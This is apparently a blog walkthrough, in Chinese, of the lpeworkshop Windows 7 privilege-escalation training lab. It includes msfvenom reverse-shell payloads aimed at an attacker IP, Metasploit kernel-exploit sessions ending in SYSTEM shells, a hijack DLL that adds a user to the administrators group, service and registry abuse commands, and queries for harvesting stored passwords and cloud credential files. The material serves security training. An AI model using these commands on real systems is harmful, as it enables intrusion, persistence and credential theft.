banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

lpeworkshop提權實驗 - windows

lpeworkshop 提權實驗 - windows#

實驗環境項目地址: https://github.com/sagishahar-zz/lpeworkshop

windows 實驗的前提,需要先自己準備一個 Windows 7 (SP1) x64 Build 7601 的英文操作系統,原作者所有的實驗都基於此操作系統。

1、安裝完成後啟動。

2、建一個擁有管理員權限的帳號並登錄。(在操作系統安裝時,建立的用戶就具有管理員權限)

3、刪除操作系統上的 user 用戶。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled.png

4、將安裝腳本(lpe_windows_setup.bat)放到可寫位置,這一步主要是配置漏洞環境。

5、右鍵單擊安裝腳本(lpe_windows_setup.bat)並以管理員身份運行。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 1.png

6、重新啟動虛擬機。

7、將工具拷貝至虛擬機(此時以 user 用戶身份登錄,user/password321),解壓。Windows 練習工具(7z 存檔密碼:lpeworkshop)

image

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 2.png

8、現在,所有設置都完成了,可以開始實驗了。

#基本命令
systeminfo
hostname

#我是哪個?
whoami
echo %username%

#在這台伺服器上有哪些用戶/用戶組
net user
net localgroup

#查看某個用戶擁有的權限
net user user

#網路
ipconfig /all
route print
arp -A


練習 1:內核漏洞提權#

1、打開 powershell,輸入下面的命令,找到工具包中的 sherlock 腳本,通過 import-module 導入模組。

powershell -nop -ep bypass

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 3.png

導入成功後,運行 Find-AllVulns。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 4.png

看到一個 TrackPopupMenu Win32k Null Pointer Dereference 漏洞,是 MS14-058 漏洞,詳情如下:

Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable

直接找到 MS14-058 的 exp 進行利用。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 5.png

運行 CVE-2014-4113-Exploit 裡面的 Win64.exe 文件。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 6.png

也可以通過 msfconsole 的內置模組進行提權,前提是需要獲取到一個 meterpreter session 模組。

msf > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > show targets
      ...targets...
msf exploit(ms14_058_track_popup_menu) > set TARGET <target-id>
msf exploit(ms14_058_track_popup_menu) > show options
      ...show and set options...
msf exploit(ms14_058_track_popup_menu) > exploit

kali msfvenom 生成反彈 shell 的 payload。

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.199.232 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe

並啟動 msfconsole 進行監聽。

# msfconsole
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set lhost 192.168.199.232
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > exploit -j

生成完成後,拷貝至 win7 虛擬機,運行。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 7.png

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 8.png

開始進行提權。

meterpreter > background 
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > use exploit/windows/local/ms14_058_track_popup_menu 
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set target 1
target => 1
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set session 2
session => 2
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set payload generic/shell_reverse_tcp 
payload => generic/shell_reverse_tcp
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set lhost 192.168.199.232
lhost => 192.168.199.232
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set lport 4455
lport => 4455
msf5 exploit(windows/local/ms14_058_track_popup_menu) > run

[*] Started reverse TCP handler on 192.168.199.232:4455 
[*] Launching notepad to host the exploit...
[+] Process 1768 launched.
[*] Reflectively injecting the exploit DLL into 1768...
[*] Injecting exploit into 1768...
[*] Exploit injected. Injecting payload into 1768...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 3 opened (192.168.199.232:4455 -> 192.168.199.108:49194) at 2021-08-03 02:14:26 -0400

C:\Windows\system32>whoami
whoami
nt authority\system

實驗結束。


練習 2:Services (binPath)#

首先看下當前用戶所屬的用戶組。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 9.png

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 10.png

AccessChk 的功能主要是獲取用戶對某個資源(包括文件,目錄,註冊表項,全局對象和 Windows 服務)的權限。

通過上圖我們注意到當前的 user 用戶擁有 SERVICE_CHANGE_CONFIG 的權限,表示當前用戶擁有修改配置的權限。通過下面的命令可以查看當前用戶擁有的權限。

accesschk64.exe /accepteula -uwcqv user *

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 11.png

既然當前用戶擁有修改配置的權限,那麼就需要用到 sc 命令,sc 命令是一個管理 windows 服務的命令。

接下來就需要利用 sc 命令去配置一個 exe 作為服務啟動。

sc config daclsvc binpath= "net localgroup administrators user /add"
sc start daclsvc

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 12.png

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 13.png


練習 3:Services (DLL Hijacking)#

dll 劫持是一種利用 windows 應用程序搜索和加載動態鏈接庫(DLL)的方式將惡意代碼注入應用程序的方法。

通過替換正常的 dll 文件,優先提高惡意 dll 文件的搜索順序,載入惡意的 dll 文件,類似於 linux 下的環境變量,不同的加載順序加載的內容不一樣。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 14.png

C:\Program Files\DLL Hijack Service\dllhijackservice.exe

此時的 user 用戶不屬於管理員組。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 15.png

打開 process monitor 進程監視工具。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 16.png

搜索是否運行了 C:\Program Files\DLL Hijack Service\dllhijackservice.exe 文件,通過下面的圖片可以看到並未運行。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 17.png

在 process monitor 中按 ctrl+h 快捷鍵,打開高亮過濾器,選擇 result,輸入 NAME NOT FOUND,進行查詢。

此時如果雙擊運行 dllhijackservice.exe 文件,就會有一些高亮的參數,也就是 NAME NOT FOUND 的參數,其中有一些關於 dll 參數的內容。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 18.png

下面我們找到工具箱中的 windows_dll.c 文件。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 19.png

將 windows_dll.c 文件複製到 kali 中進行編譯,windows_dll.c 內容如下:

$ cat windows_dll.c 
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
        ExitProcess(0);
    }
    return TRUE;
}

修改為:

$ cat windows_dll.c 
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k net localgroup administrators user /add");
        ExitProcess(0);
    }
    return TRUE;
}

通過下述命令進行編譯:

x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll

開始編譯報錯如下,說明缺少模組,直接安裝即可:

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 20.png

解決報錯:

sudo apt-get install gcc-mingw-w64-x86-64

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 21.png

將生成的 dll 文件拷貝至 c:/tmp 目錄下,並查看環境變量,可以發現 c:/tmp 目錄。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 22.png

將 dll 文件命名為 hijackme.dll,為什麼要命名成 hijackme.dll 呢?這是因為 dllhijackservice.exe 程序在運行後,會加載 hijackmd.dll 文件,dll 的加載順序如下:

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 23.png

打開 cmd 窗口,輸入如下命令:

sc stop dllsvc
sc start dllsvc

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 24.png

此時,當前用戶 user 已在管理員組中。

淺談 DLL 劫持

sc.exe 服務控制管理命令詳解

利用 dll 劫持實現免殺與維權


練習 4:Services (Unquoted Path)#

sc qc unquotedsvc

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 25.png

accesschk64.exe "C:\Program Files\Unquoted Path Service\"

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 26.png

net user user

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 27.png

msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 28.png

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 29.png

sc start unquotedsvc

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 30.png

練習 5:Services (Registry)#

NT Authority\SYSTEM 又稱 LocalSystem 帳戶是內置的 Windows 帳戶。 它是 Windows 本地實例上功能最強大的帳戶(比任何管理員帳戶都更強大)。 大多數系統級別(Windows Services)服務和其他一些第三方服務都在帳戶中運行

NT Authority \ SYSTEM 是 Builtin\Administrator 是系統管理員之一

NT AUTHORITY\INTERACTIVE:交互式用戶是當前登錄到運行 COM 伺服器的計算機的用戶。 如果將身份設置為交互式用戶,並且伺服器將其類工廠註冊為多用途,則所有客戶端都將使用伺服器的同一實例。

Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 31.png

生成惡意的偽造 payload,找到工具箱中的 source 目錄下 windows_service.c 文件,拷貝至 kali 進行編譯。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 32.png

修改 windows_service.c 的 system 中的命令,如下:

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 33.png

開始進行編譯

x86_64-w64-mingw32-gcc windows_service.c -o regi.exe

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 34.png

將生成的 regi.exe 文件拷貝至虛擬機 c:\Temp 目錄下,添加註冊表信息。

> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\regi.exe /f

用 sc.exe 開啟服務。

sc.exe start regsvc

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 35.png

練習 6:Services (Executable File)#

漏洞利用:

sc create lol binPath= "c:\executable.exe"
sc start lol

實際案例:

C:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\Accesschk>accesschk64.exe -wvu "c:\Pro
gram Files\File Permissions Service"

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 36.png

sc qc filepermsvc

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 37.png

漏洞利用,拷貝練習 4 中編譯的 exe 文件,複製到 c:\Pro
gram Files\File Permissions Service 目錄下。

cp /y C:\Temp\regi.exe 'C:\Program Files\File Permissions Service\filepermservice.exe'

開啟服務

sc.exe start filepermsvc

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 38.png

練習 7:Registry (Autorun)#

通過 autoruns 工具尋找開啟啟動項。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 39.png

啟動項目錄下的文件具有任意讀寫的權限。

>accesschk64.exe "c:\Program Files\Autorun Program\program.exe"

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 40.png

>accesschk64.exe -wvu "c:\Program Files\Autorun Program\program.exe"

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 41.png

切換到 kali 攻擊機器。

生成 payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.199.232 -f exe -o program.exe

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 42.png

將 payload 拷貝至虛擬機的自啟動目錄下。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 43.png

登出虛擬機。

logoff

當下次管理員登錄的時候,自啟動程序就會運行,msfconsole 即可監聽到會話。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 44.png

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 45.png

練習 8:Registry (AlwaysInstallElevated)#

發現漏洞

reg query HKLM\Software\Policies\Microsoft\Windows\Installer

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

AlwaysInstallElevated 是一項功能,可為 Windows 計算機上的所有用戶(特別是低特權用戶)提供運行任何具有提升特權的 MSI 文件的功能。 MSI 是基於 Microsoft 的安裝程序軟件包文件格式,用於安裝,存儲和刪除程序。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 46.png

通過 msf 的模組進行提權,首先先獲取一個普通的 meterpreter。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 47.png

提權。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 48.png

練習 9:Password Mining (Memory)#

創建內存 dump 文件

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 49.png

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 50.png

strings iexplore2.DMP  | grep "Authorization: Basic"
echo "xxxx==" | base64 -d

練習 10:Password Mining (Registry)#

有很多配置信息會直接寫在註冊表中,通過註冊表查找敏感信息。

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

reg query HKCU\Software\TightVNC\Server /v password
reg query HKCU\Software\TightVNC\Server /v passwordViewOnly

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Untitled

putty

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

Untitled

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions\BWP123F42" /v ProxyPassword

Untitled

vnc

C:\>"c:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\vncpwd\vncpwd.exe" EC84DB8BE7861E
4D

Untitled

練習 11:Password Mining (Configuration Files)#

#在txt、xml、ini文件中查找password
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

#在配置文件中尋找下面的字符串
dir /s *pass* == *cred* == *vnc* == *.config*

# 在所有文件中尋找含有password字段的文件
findstr /spin "password" *.*
findstr /spin "password" *.*

dir /b /a /s c:\ > c:\temp\c-dirs.txt
type c:\temp\c-dirs.txt | findstr /i passw(vnc,ssh...)

進入到相應的目錄,輸入上述命令。

findstr /si password *.xml > c:\Temp\1.txt

Untitled

macfee 殺毒軟件的密碼,是一串字符,這串字符可以使用工具去解密。

以下文件中也存在相關敏感信息:

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf

# 搜索這些文件
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

# 其他一些敏感文件
VARIABLES.DAT
setupinfo
setupinfo.bak
web.config
SiteList.xml
.aws\credentials
.azure\accessTokens.json
.azure\azureProfile.json
gcloud\credentials.db
gcloud\legacy_credentials
gcloud\access_tokens.db

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b 
dir c:\ /s /b | findstr /si *vnc.ini

Untitled

Untitled

練習 12:Hot Potato#

查看 user 用戶信息,不再管理員組.

Untitled

Untitled

powershell -ep bypass -nop
Import-Module .\Tater.ps1
PS C:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\Tater> Invoke-Tater -Trigger 1 -Com
mand "net localgroup administrators user /add"

Untitled

Untitled

練習 13:Scheduled Tasks (Missing Binary)#

任務計劃

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 62.png

kali 生成 payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.199.232 -f exe -o program.exe

拷貝至 c:\Missing Scheduled Binary\ 目錄下。

lpeworkshop 提權實驗 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 63.png

練習 14:Startup Applications#

Startup 目錄是 windows 開啟自啟動文件夾,只要將惡意文件放到這個目錄,操作系統啟動時會自動啟動 Startup 的程序。

查看 user 用戶的權限

Untitled

icacls "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

Untitled

Untitled

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.133 -f exe -o x.exe
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Untitled

退出 windows 重新登錄,msf 就可以獲取到會話。

logoff

這一系列實驗都是關於在 windows 下面的提權實驗,通過這些實驗,可以理解在 windows 下怎樣去提升權限並獲取一些敏感信息,如帳號密碼等,windows 的提權很多都是利用操作系統層面的漏洞提權,平常用 CS 的插件提權比較多。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。